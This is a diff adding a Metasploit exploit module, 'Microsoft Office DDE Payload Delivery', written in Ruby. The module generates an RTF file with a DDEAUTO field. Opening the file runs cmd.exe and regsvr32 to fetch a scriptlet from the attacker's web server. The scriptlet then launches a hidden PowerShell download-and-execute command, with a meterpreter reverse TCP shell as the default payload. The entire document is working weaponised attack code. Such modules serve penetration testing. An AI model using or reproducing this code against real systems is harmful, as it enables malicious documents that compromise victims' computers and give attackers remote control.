|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +class MetasploitModule < Msf::Exploit::Remote |
| 8 | + Rank = ManualRanking |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpServer |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::Powershell |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Microsoft Office DDE Payload Delivery', |
| 18 | + 'Description' => %q{ |
| 19 | + This module generates an DDE command to place within |
| 20 | + a word document, that when executed, will retrieve a HTA payload |
| 21 | + via HTTP from an web server. |
| 22 | + }, |
| 23 | + 'Author' => 'mumbai', |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'DisclosureDate' => 'Oct 9 2017', |
| 26 | + 'References' => [ |
| 27 | + ['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'], |
| 28 | + ['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'] |
| 29 | + ], |
| 30 | + 'Arch' => [ARCH_X86, ARCH_X64], |
| 31 | + 'Platform' => 'win', |
| 32 | + 'Stance' => Msf::Exploit::Stance::Aggressive, |
| 33 | + 'Targets' => |
| 34 | + [ |
| 35 | + ['Microsoft Office', {} ], |
| 36 | + ], |
| 37 | + 'DefaultTarget' => 0, |
| 38 | + 'Payload' => { |
| 39 | + 'DisableNops' => true |
| 40 | + }, |
| 41 | + 'DefaultOptions' => { |
| 42 | + 'DisablePayloadHandler' => false, |
| 43 | + 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', |
| 44 | + 'EXITFUNC' => 'thread' |
| 45 | + } |
| 46 | + )) |
| 47 | + register_options([ |
| 48 | + OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]), |
| 49 | + OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil]) |
| 50 | + ]) |
| 51 | + end |
| 52 | + |
| 53 | + def gen_psh(url, *method) |
| 54 | + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl |
| 55 | + |
| 56 | + if method.include? 'string' |
| 57 | + download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) |
| 58 | + else |
| 59 | + # Random filename to use, if there isn't anything set |
| 60 | + random = "#{rand_text_alphanumeric 8}.exe" |
| 61 | + # Set filename (Use random filename if empty) |
| 62 | + filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] |
| 63 | + |
| 64 | + # Set path (Use %TEMP% if empty) |
| 65 | + path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') |
| 66 | + |
| 67 | + # Join Path and Filename |
| 68 | + file = %Q(echo (#{path}+'\\#{filename}')) |
| 69 | + |
| 70 | + # Generate download PowerShell command |
| 71 | + download_string = Rex::Powershell::PshMethods.download_run(url, file) |
| 72 | + end |
| 73 | + |
| 74 | + download_and_run = "#{ignore_cert}#{download_string}" |
| 75 | + |
| 76 | + # Generate main PowerShell command |
| 77 | + return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) |
| 78 | + end |
| 79 | + |
| 80 | + def on_request_uri(cli, _request) |
| 81 | + if _request.raw_uri =~ /\.sct$/ |
| 82 | + print_status("Handling request for .sct from #{cli.peerhost}") |
| 83 | + payload = gen_psh("#{get_uri}", "string") |
| 84 | + data = gen_sct_file(payload) |
| 85 | + send_response(cli, data, 'Content-Type' => 'text/plain') |
| 86 | + else |
| 87 | + print_status("Delivering payload to #{cli.peerhost}...") |
| 88 | + p = regenerate_payload(cli) |
| 89 | + data = cmd_psh_payload(p.encoded, |
| 90 | + payload_instance.arch.first, |
| 91 | + remove_comspec: true, |
| 92 | + exec_in_place: true |
| 93 | + ) |
| 94 | + send_response(cli, data, 'Content-Type' => 'application/octet-stream') |
| 95 | + end |
| 96 | + end |
| 97 | + |
| 98 | + |
| 99 | + def rand_class_id |
| 100 | + "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" |
| 101 | + end |
| 102 | + |
| 103 | + |
| 104 | + def gen_sct_file(command) |
| 105 | + # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). |
| 106 | + if command == '' |
| 107 | + return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>} |
| 108 | + # If a command is provided, tell the target system to execute it. |
| 109 | + else |
| 110 | + return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>} |
| 111 | + end |
| 112 | + end |
| 113 | + |
| 114 | + def retrieve_header(filename) |
| 115 | + if (not datastore['INJECT_PATH'].nil?) |
| 116 | + path = "#{datastore['INJECT_PATH']}" |
| 117 | + else |
| 118 | + path = nil |
| 119 | + end |
| 120 | + if (not path.nil?) |
| 121 | + if ::File.file?(path) |
| 122 | + ::File.open(path, 'rb') do |fd| |
| 123 | + header = fd.read(fd.stat.size).split('{\*\datastore').first |
| 124 | + header = header.to_s |
| 125 | + print_status("Injecting #{path}...") |
| 126 | + return header |
| 127 | + end |
| 128 | + else |
| 129 | + header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" |
| 130 | + header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" |
| 131 | + header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" |
| 132 | + end |
| 133 | + else |
| 134 | + header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" |
| 135 | + header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" |
| 136 | + header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" |
| 137 | + end |
| 138 | + return header |
| 139 | + end |
| 140 | + |
| 141 | + def create_rtf |
| 142 | + # |
| 143 | + header = retrieve_header(datastore['FILENAME']) |
| 144 | + field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 ' |
| 145 | + field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}" |
| 146 | + field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n" |
| 147 | + field_class << '\insrsid5790315' + "\n" |
| 148 | + field_class << '\par }' |
| 149 | + footer = '}}' # footer |
| 150 | + rtf = header + field_class + footer |
| 151 | + rtf |
| 152 | + end |
| 153 | + |
| 154 | + def primer |
| 155 | + file_create(create_rtf) |
| 156 | + end |
| 157 | +end |
0 commit comments